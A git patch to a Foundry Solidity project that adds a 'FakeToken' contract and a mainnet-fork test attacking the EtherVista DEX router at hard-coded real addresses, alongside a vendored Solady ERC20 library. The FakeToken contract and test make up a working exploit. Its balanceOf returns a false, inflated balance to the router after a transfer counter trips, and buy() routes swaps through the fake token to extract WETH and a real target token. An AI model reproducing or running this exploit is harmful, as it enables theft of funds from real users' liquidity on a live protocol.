From c28d6ccc4decfab9292f3582214bb2ef6052907c Mon Sep 17 00:00:00 2001 From: Doudou Shou Date: Thu, 5 Sep 2024 23:20:51 -0700 Subject: [PATCH] x --- script/Counter.s.sol | 19 -- src/Counter.sol | 113 ++++++++- src/ERC20.sol | 546 +++++++++++++++++++++++++++++++++++++++++++ test/Counter.t.sol | 24 +- 4 files changed, 660 insertions(+), 42 deletions(-) delete mode 100644 script/Counter.s.sol create mode 100644 src/ERC20.sol diff --git a/script/Counter.s.sol b/script/Counter.s.sol deleted file mode 100644 index cdc1fe9..0000000 --- a/script/Counter.s.sol +++ /dev/null @@ -1,19 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import {Script, console} from "forge-std/Script.sol"; -import {Counter} from "../src/Counter.sol"; - -contract CounterScript is Script { - Counter public counter; - - function setUp() public {} - - function run() public { - vm.startBroadcast(); - - counter = new Counter(); - - vm.stopBroadcast(); - } -} diff --git a/src/Counter.sol b/src/Counter.sol index aded799..db6fe38 100644 --- a/src/Counter.sol +++ b/src/Counter.sol @@ -1,14 +1,109 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; -contract Counter { - uint256 public number; +import {Test} from "forge-std/Test.sol"; +import {console} from "forge-std/console.sol"; +import {ERC20} from "src/ERC20.sol"; - function setNumber(uint256 newNumber) public { - number = newNumber; +interface EtherVistaFactory { + function getPair(address tokenA, address tokenB) external view returns (address pair); +} + +interface EtherVistaRouter { + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] calldata path, + address to, + uint256 deadline + ) external payable; + + function launch( + address token, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, + uint8 buyLpFee, + uint8 sellLpFee, + uint8 buyProtocolFee, + uint8 sellProtocolFee, + address protocolAddress + ) external payable; + + function usdcToEth(uint256 amount) external view returns (uint256); +} + +contract FakeToken is ERC20, Test { + EtherVistaRouter constant ROUTER = EtherVistaRouter(0xEAaa41cB2a64B11FE761D41E747c032CdD60CaCE); + EtherVistaFactory constant FACTORY = EtherVistaFactory(0x9a27cb5ae0B2cEe0bb71f9A85C0D60f3920757B4); + ERC20 constant WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + + + uint256 beFunky = 0; + + constructor() { } - function increment() public { - number++; + function name() public pure override returns (string memory) { + return "Big Pussy"; } -} + + function symbol() public pure override returns (string memory) { + return "Sohai"; + } + + function balanceOf(address account) public view override returns (uint256) { + if (msg.sender == address(ROUTER) && beFunky == 1) { + return 1e9 ether; + } + if (msg.sender == address(ROUTER) && beFunky == 2) { + console.log("FUCK"); + } + return 1e14; + } + + function transfer(address to, uint256 value) public override returns (bool) { + beFunky += 1; + return super.transfer(to, value); + } + + function initialize() external payable { + _approve(address(this), address(ROUTER), type(uint256).max); + _mint(address(this), 10 ether); + + ROUTER.launch{value: 10}(address(this), 1e14, 0, 0, 0, 0, 255, 255, address(this)); + } + + + function buy(address token, uint256 minOut) external payable { + address[] memory path = new address[](4); + path[0] = address(WETH); + path[1] = address(this); + path[2] = address(WETH); + path[3] = address(token); + + uint256 preBalance = ERC20(token).balanceOf(msg.sender); + + bytes memory data = abi.encodeWithSelector( + ROUTER.swapExactETHForTokensSupportingFeeOnTransferTokens.selector, + 0, + path, + msg.sender, + block.timestamp + ); + + (bool success, bytes memory returnData) = address(ROUTER).call{value: msg.value}(data); + require(success, "Router call failed"); + + uint256 postBalance = ERC20(token).balanceOf(msg.sender); + require(postBalance > preBalance + minOut, "No enough tokens received"); + } + + receive() external payable {} +} \ No newline at end of file diff --git a/src/ERC20.sol b/src/ERC20.sol new file mode 100644 index 0000000..4db8d49 --- /dev/null +++ b/src/ERC20.sol @@ -0,0 +1,546 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.4; + +/// @notice Simple ERC20 + EIP-2612 implementation. +/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC20.sol) +/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) +/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol) +/// +/// @dev Note: +/// - The ERC20 standard allows minting and transferring to and from the zero address, +/// minting and transferring zero tokens, as well as self-approvals. +/// For performance, this implementation WILL NOT revert for such actions. +/// Please add any checks with overrides if desired. +/// - The `permit` function uses the ecrecover precompile (0x1). +/// +/// If you are overriding: +/// - NEVER violate the ERC20 invariant: +/// the total sum of all balances must be equal to `totalSupply()`. +/// - Check that the overridden function is actually used in the function you want to +/// change the behavior of. Much of the code has been manually inlined for performance. +abstract contract ERC20 { + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* CUSTOM ERRORS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev The total supply has overflowed. + error TotalSupplyOverflow(); + + /// @dev The allowance has overflowed. + error AllowanceOverflow(); + + /// @dev The allowance has underflowed. + error AllowanceUnderflow(); + + /// @dev Insufficient balance. + error InsufficientBalance(); + + /// @dev Insufficient allowance. + error InsufficientAllowance(); + + /// @dev The permit is invalid. + error InvalidPermit(); + + /// @dev The permit has expired. + error PermitExpired(); + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* EVENTS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Emitted when `amount` tokens is transferred from `from` to `to`. + event Transfer(address indexed from, address indexed to, uint256 amount); + + /// @dev Emitted when `amount` tokens is approved by `owner` to be used by `spender`. + event Approval(address indexed owner, address indexed spender, uint256 amount); + + /// @dev `keccak256(bytes("Transfer(address,address,uint256)"))`. + uint256 private constant _TRANSFER_EVENT_SIGNATURE = + 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef; + + /// @dev `keccak256(bytes("Approval(address,address,uint256)"))`. + uint256 private constant _APPROVAL_EVENT_SIGNATURE = + 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925; + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* STORAGE */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev The storage slot for the total supply. + uint256 private constant _TOTAL_SUPPLY_SLOT = 0x05345cdf77eb68f44c; + + /// @dev The balance slot of `owner` is given by: + /// ``` + /// mstore(0x0c, _BALANCE_SLOT_SEED) + /// mstore(0x00, owner) + /// let balanceSlot := keccak256(0x0c, 0x20) + /// ``` + uint256 private constant _BALANCE_SLOT_SEED = 0x87a211a2; + + /// @dev The allowance slot of (`owner`, `spender`) is given by: + /// ``` + /// mstore(0x20, spender) + /// mstore(0x0c, _ALLOWANCE_SLOT_SEED) + /// mstore(0x00, owner) + /// let allowanceSlot := keccak256(0x0c, 0x34) + /// ``` + uint256 private constant _ALLOWANCE_SLOT_SEED = 0x7f5e9f20; + + /// @dev The nonce slot of `owner` is given by: + /// ``` + /// mstore(0x0c, _NONCES_SLOT_SEED) + /// mstore(0x00, owner) + /// let nonceSlot := keccak256(0x0c, 0x20) + /// ``` + uint256 private constant _NONCES_SLOT_SEED = 0x38377508; + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* CONSTANTS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev `(_NONCES_SLOT_SEED << 16) | 0x1901`. + uint256 private constant _NONCES_SLOT_SEED_WITH_SIGNATURE_PREFIX = 0x383775081901; + + /// @dev `keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")`. + bytes32 private constant _DOMAIN_TYPEHASH = + 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; + + /// @dev `keccak256("1")`. + bytes32 private constant _VERSION_HASH = + 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6; + + /// @dev `keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")`. + bytes32 private constant _PERMIT_TYPEHASH = + 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* ERC20 METADATA */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Returns the name of the token. + function name() public view virtual returns (string memory); + + /// @dev Returns the symbol of the token. + function symbol() public view virtual returns (string memory); + + /// @dev Returns the decimals places of the token. + function decimals() public view virtual returns (uint8) { + return 18; + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* ERC20 */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Returns the amount of tokens in existence. + function totalSupply() public view virtual returns (uint256 result) { + /// @solidity memory-safe-assembly + assembly { + result := sload(_TOTAL_SUPPLY_SLOT) + } + } + + /// @dev Returns the amount of tokens owned by `owner`. + function balanceOf(address owner) public view virtual returns (uint256 result) { + /// @solidity memory-safe-assembly + assembly { + mstore(0x0c, _BALANCE_SLOT_SEED) + mstore(0x00, owner) + result := sload(keccak256(0x0c, 0x20)) + } + } + + /// @dev Returns the amount of tokens that `spender` can spend on behalf of `owner`. + function allowance(address owner, address spender) + public + view + virtual + returns (uint256 result) + { + /// @solidity memory-safe-assembly + assembly { + mstore(0x20, spender) + mstore(0x0c, _ALLOWANCE_SLOT_SEED) + mstore(0x00, owner) + result := sload(keccak256(0x0c, 0x34)) + } + } + + /// @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + /// + /// Emits a {Approval} event. + function approve(address spender, uint256 amount) public virtual returns (bool) { + /// @solidity memory-safe-assembly + assembly { + // Compute the allowance slot and store the amount. + mstore(0x20, spender) + mstore(0x0c, _ALLOWANCE_SLOT_SEED) + mstore(0x00, caller()) + sstore(keccak256(0x0c, 0x34), amount) + // Emit the {Approval} event. + mstore(0x00, amount) + log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, caller(), shr(96, mload(0x2c))) + } + return true; + } + + /// @dev Transfer `amount` tokens from the caller to `to`. + /// + /// Requirements: + /// - `from` must at least have `amount`. + /// + /// Emits a {Transfer} event. + function transfer(address to, uint256 amount) public virtual returns (bool) { + _beforeTokenTransfer(msg.sender, to, amount); + /// @solidity memory-safe-assembly + assembly { + // Compute the balance slot and load its value. + mstore(0x0c, _BALANCE_SLOT_SEED) + mstore(0x00, caller()) + let fromBalanceSlot := keccak256(0x0c, 0x20) + let fromBalance := sload(fromBalanceSlot) + // Revert if insufficient balance. + if gt(amount, fromBalance) { + mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated balance. + sstore(fromBalanceSlot, sub(fromBalance, amount)) + // Compute the balance slot of `to`. + mstore(0x00, to) + let toBalanceSlot := keccak256(0x0c, 0x20) + // Add and store the updated balance of `to`. + // Will not overflow because the sum of all user balances + // cannot exceed the maximum uint256 value. + sstore(toBalanceSlot, add(sload(toBalanceSlot), amount)) + // Emit the {Transfer} event. + mstore(0x20, amount) + log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, caller(), shr(96, mload(0x0c))) + } + _afterTokenTransfer(msg.sender, to, amount); + return true; + } + + /// @dev Transfers `amount` tokens from `from` to `to`. + /// + /// Note: Does not update the allowance if it is the maximum uint256 value. + /// + /// Requirements: + /// - `from` must at least have `amount`. + /// - The caller must have at least `amount` of allowance to transfer the tokens of `from`. + /// + /// Emits a {Transfer} event. + function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { + _beforeTokenTransfer(from, to, amount); + /// @solidity memory-safe-assembly + assembly { + let from_ := shl(96, from) + // Compute the allowance slot and load its value. + mstore(0x20, caller()) + mstore(0x0c, or(from_, _ALLOWANCE_SLOT_SEED)) + let allowanceSlot := keccak256(0x0c, 0x34) + let allowance_ := sload(allowanceSlot) + // If the allowance is not the maximum uint256 value. + if add(allowance_, 1) { + // Revert if the amount to be transferred exceeds the allowance. + if gt(amount, allowance_) { + mstore(0x00, 0x13be252b) // `InsufficientAllowance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated allowance. + sstore(allowanceSlot, sub(allowance_, amount)) + } + // Compute the balance slot and load its value. + mstore(0x0c, or(from_, _BALANCE_SLOT_SEED)) + let fromBalanceSlot := keccak256(0x0c, 0x20) + let fromBalance := sload(fromBalanceSlot) + // Revert if insufficient balance. + if gt(amount, fromBalance) { + mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated balance. + sstore(fromBalanceSlot, sub(fromBalance, amount)) + // Compute the balance slot of `to`. + mstore(0x00, to) + let toBalanceSlot := keccak256(0x0c, 0x20) + // Add and store the updated balance of `to`. + // Will not overflow because the sum of all user balances + // cannot exceed the maximum uint256 value. + sstore(toBalanceSlot, add(sload(toBalanceSlot), amount)) + // Emit the {Transfer} event. + mstore(0x20, amount) + log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, from_), shr(96, mload(0x0c))) + } + _afterTokenTransfer(from, to, amount); + return true; + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* EIP-2612 */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev For more performance, override to return the constant value + /// of `keccak256(bytes(name()))` if `name()` will never change. + function _constantNameHash() internal view virtual returns (bytes32 result) {} + + /// @dev Returns the current nonce for `owner`. + /// This value is used to compute the signature for EIP-2612 permit. + function nonces(address owner) public view virtual returns (uint256 result) { + /// @solidity memory-safe-assembly + assembly { + // Compute the nonce slot and load its value. + mstore(0x0c, _NONCES_SLOT_SEED) + mstore(0x00, owner) + result := sload(keccak256(0x0c, 0x20)) + } + } + + /// @dev Sets `value` as the allowance of `spender` over the tokens of `owner`, + /// authorized by a signed approval by `owner`. + /// + /// Emits a {Approval} event. + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual { + bytes32 nameHash = _constantNameHash(); + // We simply calculate it on-the-fly to allow for cases where the `name` may change. + if (nameHash == bytes32(0)) nameHash = keccak256(bytes(name())); + /// @solidity memory-safe-assembly + assembly { + // Revert if the block timestamp is greater than `deadline`. + if gt(timestamp(), deadline) { + mstore(0x00, 0x1a15a3cc) // `PermitExpired()`. + revert(0x1c, 0x04) + } + let m := mload(0x40) // Grab the free memory pointer. + // Clean the upper 96 bits. + owner := shr(96, shl(96, owner)) + spender := shr(96, shl(96, spender)) + // Compute the nonce slot and load its value. + mstore(0x0e, _NONCES_SLOT_SEED_WITH_SIGNATURE_PREFIX) + mstore(0x00, owner) + let nonceSlot := keccak256(0x0c, 0x20) + let nonceValue := sload(nonceSlot) + // Prepare the domain separator. + mstore(m, _DOMAIN_TYPEHASH) + mstore(add(m, 0x20), nameHash) + mstore(add(m, 0x40), _VERSION_HASH) + mstore(add(m, 0x60), chainid()) + mstore(add(m, 0x80), address()) + mstore(0x2e, keccak256(m, 0xa0)) + // Prepare the struct hash. + mstore(m, _PERMIT_TYPEHASH) + mstore(add(m, 0x20), owner) + mstore(add(m, 0x40), spender) + mstore(add(m, 0x60), value) + mstore(add(m, 0x80), nonceValue) + mstore(add(m, 0xa0), deadline) + mstore(0x4e, keccak256(m, 0xc0)) + // Prepare the ecrecover calldata. + mstore(0x00, keccak256(0x2c, 0x42)) + mstore(0x20, and(0xff, v)) + mstore(0x40, r) + mstore(0x60, s) + let t := staticcall(gas(), 1, 0, 0x80, 0x20, 0x20) + // If the ecrecover fails, the returndatasize will be 0x00, + // `owner` will be checked if it equals the hash at 0x00, + // which evaluates to false (i.e. 0), and we will revert. + // If the ecrecover succeeds, the returndatasize will be 0x20, + // `owner` will be compared against the returned address at 0x20. + if iszero(eq(mload(returndatasize()), owner)) { + mstore(0x00, 0xddafbaef) // `InvalidPermit()`. + revert(0x1c, 0x04) + } + // Increment and store the updated nonce. + sstore(nonceSlot, add(nonceValue, t)) // `t` is 1 if ecrecover succeeds. + // Compute the allowance slot and store the value. + // The `owner` is already at slot 0x20. + mstore(0x40, or(shl(160, _ALLOWANCE_SLOT_SEED), spender)) + sstore(keccak256(0x2c, 0x34), value) + // Emit the {Approval} event. + log3(add(m, 0x60), 0x20, _APPROVAL_EVENT_SIGNATURE, owner, spender) + mstore(0x40, m) // Restore the free memory pointer. + mstore(0x60, 0) // Restore the zero pointer. + } + } + + /// @dev Returns the EIP-712 domain separator for the EIP-2612 permit. + function DOMAIN_SEPARATOR() public view virtual returns (bytes32 result) { + bytes32 nameHash = _constantNameHash(); + // We simply calculate it on-the-fly to allow for cases where the `name` may change. + if (nameHash == bytes32(0)) nameHash = keccak256(bytes(name())); + /// @solidity memory-safe-assembly + assembly { + let m := mload(0x40) // Grab the free memory pointer. + mstore(m, _DOMAIN_TYPEHASH) + mstore(add(m, 0x20), nameHash) + mstore(add(m, 0x40), _VERSION_HASH) + mstore(add(m, 0x60), chainid()) + mstore(add(m, 0x80), address()) + result := keccak256(m, 0xa0) + } + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* INTERNAL MINT FUNCTIONS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Mints `amount` tokens to `to`, increasing the total supply. + /// + /// Emits a {Transfer} event. + function _mint(address to, uint256 amount) internal virtual { + _beforeTokenTransfer(address(0), to, amount); + /// @solidity memory-safe-assembly + assembly { + let totalSupplyBefore := sload(_TOTAL_SUPPLY_SLOT) + let totalSupplyAfter := add(totalSupplyBefore, amount) + // Revert if the total supply overflows. + if lt(totalSupplyAfter, totalSupplyBefore) { + mstore(0x00, 0xe5cfe957) // `TotalSupplyOverflow()`. + revert(0x1c, 0x04) + } + // Store the updated total supply. + sstore(_TOTAL_SUPPLY_SLOT, totalSupplyAfter) + // Compute the balance slot and load its value. + mstore(0x0c, _BALANCE_SLOT_SEED) + mstore(0x00, to) + let toBalanceSlot := keccak256(0x0c, 0x20) + // Add and store the updated balance. + sstore(toBalanceSlot, add(sload(toBalanceSlot), amount)) + // Emit the {Transfer} event. + mstore(0x20, amount) + log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, 0, shr(96, mload(0x0c))) + } + _afterTokenTransfer(address(0), to, amount); + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* INTERNAL BURN FUNCTIONS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Burns `amount` tokens from `from`, reducing the total supply. + /// + /// Emits a {Transfer} event. + function _burn(address from, uint256 amount) internal virtual { + _beforeTokenTransfer(from, address(0), amount); + /// @solidity memory-safe-assembly + assembly { + // Compute the balance slot and load its value. + mstore(0x0c, _BALANCE_SLOT_SEED) + mstore(0x00, from) + let fromBalanceSlot := keccak256(0x0c, 0x20) + let fromBalance := sload(fromBalanceSlot) + // Revert if insufficient balance. + if gt(amount, fromBalance) { + mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated balance. + sstore(fromBalanceSlot, sub(fromBalance, amount)) + // Subtract and store the updated total supply. + sstore(_TOTAL_SUPPLY_SLOT, sub(sload(_TOTAL_SUPPLY_SLOT), amount)) + // Emit the {Transfer} event. + mstore(0x00, amount) + log3(0x00, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, shl(96, from)), 0) + } + _afterTokenTransfer(from, address(0), amount); + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* INTERNAL TRANSFER FUNCTIONS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Moves `amount` of tokens from `from` to `to`. + function _transfer(address from, address to, uint256 amount) internal virtual { + _beforeTokenTransfer(from, to, amount); + /// @solidity memory-safe-assembly + assembly { + let from_ := shl(96, from) + // Compute the balance slot and load its value. + mstore(0x0c, or(from_, _BALANCE_SLOT_SEED)) + let fromBalanceSlot := keccak256(0x0c, 0x20) + let fromBalance := sload(fromBalanceSlot) + // Revert if insufficient balance. + if gt(amount, fromBalance) { + mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated balance. + sstore(fromBalanceSlot, sub(fromBalance, amount)) + // Compute the balance slot of `to`. + mstore(0x00, to) + let toBalanceSlot := keccak256(0x0c, 0x20) + // Add and store the updated balance of `to`. + // Will not overflow because the sum of all user balances + // cannot exceed the maximum uint256 value. + sstore(toBalanceSlot, add(sload(toBalanceSlot), amount)) + // Emit the {Transfer} event. + mstore(0x20, amount) + log3(0x20, 0x20, _TRANSFER_EVENT_SIGNATURE, shr(96, from_), shr(96, mload(0x0c))) + } + _afterTokenTransfer(from, to, amount); + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* INTERNAL ALLOWANCE FUNCTIONS */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Updates the allowance of `owner` for `spender` based on spent `amount`. + function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { + /// @solidity memory-safe-assembly + assembly { + // Compute the allowance slot and load its value. + mstore(0x20, spender) + mstore(0x0c, _ALLOWANCE_SLOT_SEED) + mstore(0x00, owner) + let allowanceSlot := keccak256(0x0c, 0x34) + let allowance_ := sload(allowanceSlot) + // If the allowance is not the maximum uint256 value. + if add(allowance_, 1) { + // Revert if the amount to be transferred exceeds the allowance. + if gt(amount, allowance_) { + mstore(0x00, 0x13be252b) // `InsufficientAllowance()`. + revert(0x1c, 0x04) + } + // Subtract and store the updated allowance. + sstore(allowanceSlot, sub(allowance_, amount)) + } + } + } + + /// @dev Sets `amount` as the allowance of `spender` over the tokens of `owner`. + /// + /// Emits a {Approval} event. + function _approve(address owner, address spender, uint256 amount) internal virtual { + /// @solidity memory-safe-assembly + assembly { + let owner_ := shl(96, owner) + // Compute the allowance slot and store the amount. + mstore(0x20, spender) + mstore(0x0c, or(owner_, _ALLOWANCE_SLOT_SEED)) + sstore(keccak256(0x0c, 0x34), amount) + // Emit the {Approval} event. + mstore(0x00, amount) + log3(0x00, 0x20, _APPROVAL_EVENT_SIGNATURE, shr(96, owner_), shr(96, mload(0x2c))) + } + } + + /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/ + /* HOOKS TO OVERRIDE */ + /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/ + + /// @dev Hook that is called before any transfer of tokens. + /// This includes minting and burning. + function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} + + /// @dev Hook that is called after any transfer of tokens. + /// This includes minting and burning. + function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} +} \ No newline at end of file diff --git a/test/Counter.t.sol b/test/Counter.t.sol index 54b724f..c635129 100644 --- a/test/Counter.t.sol +++ b/test/Counter.t.sol @@ -2,23 +2,19 @@ pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; -import {Counter} from "../src/Counter.sol"; +import {FakeToken} from "../src/Counter.sol"; -contract CounterTest is Test { - Counter public counter; - function setUp() public { - counter = new Counter(); - counter.setNumber(0); +contract FuckEtherTest is Test { + function setUp() external { + vm.createSelectFork("http://64.71.166.16/eth-chain", 20687130); } - function test_Increment() public { - counter.increment(); - assertEq(counter.number(), 1); - } + function testHi() external { + FakeToken hi = new FakeToken(); + hi.initialize{value: 1 ether}(); - function testFuzz_SetNumber(uint256 x) public { - counter.setNumber(x); - assertEq(counter.number(), x); + hi.buy{value: 1 ether}(address(0x6aF84e3e9Fa8486b5cBb67c55ED1E7D9372a6d23), 1000000); + // hi.fuckethervista{value: 888 wei}(1000000); } -} +} \ No newline at end of file